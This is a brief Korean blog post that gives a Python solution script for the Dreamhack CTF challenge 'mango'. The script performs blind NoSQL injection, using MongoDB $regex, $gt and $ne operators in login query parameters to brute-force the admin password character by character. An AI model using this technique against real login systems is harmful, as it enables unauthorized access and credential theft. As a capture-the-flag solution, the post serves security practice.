본문 바로가기

호그와트

드림핵 mango 쉬워요

728x90

import requests

import string

url = "http://host1.dreamhack.games:22637/login"

s = string.digits + string.ascii_uppercase + string.ascii_lowercase + "{}"

result = ""

for i in range(32):

for idx, c in enumerate(s):

payload = "?uid[$gt]=adm&uid[$ne]=guest&uid[$lt]=d&upw[$regex]={" + (result+c)

print(payload)

res = requests.get(url+payload)

if res.text.find("admin") != -1:

result += s[idx]

print(result)

break

flag = "DH" + result + "}"

print(flag)

728x90

'호그와트' 카테고리의 다른 글

드림핵 xss filtering bypass advanced  (0) 2022.05.12
드림핵 호박 게임  (0) 2022.04.20
드림핵 spring view  (0) 2022.04.06
드림핵 sint  (0) 2022.03.01
대나무숲 1 돌파  (0) 2022.02.28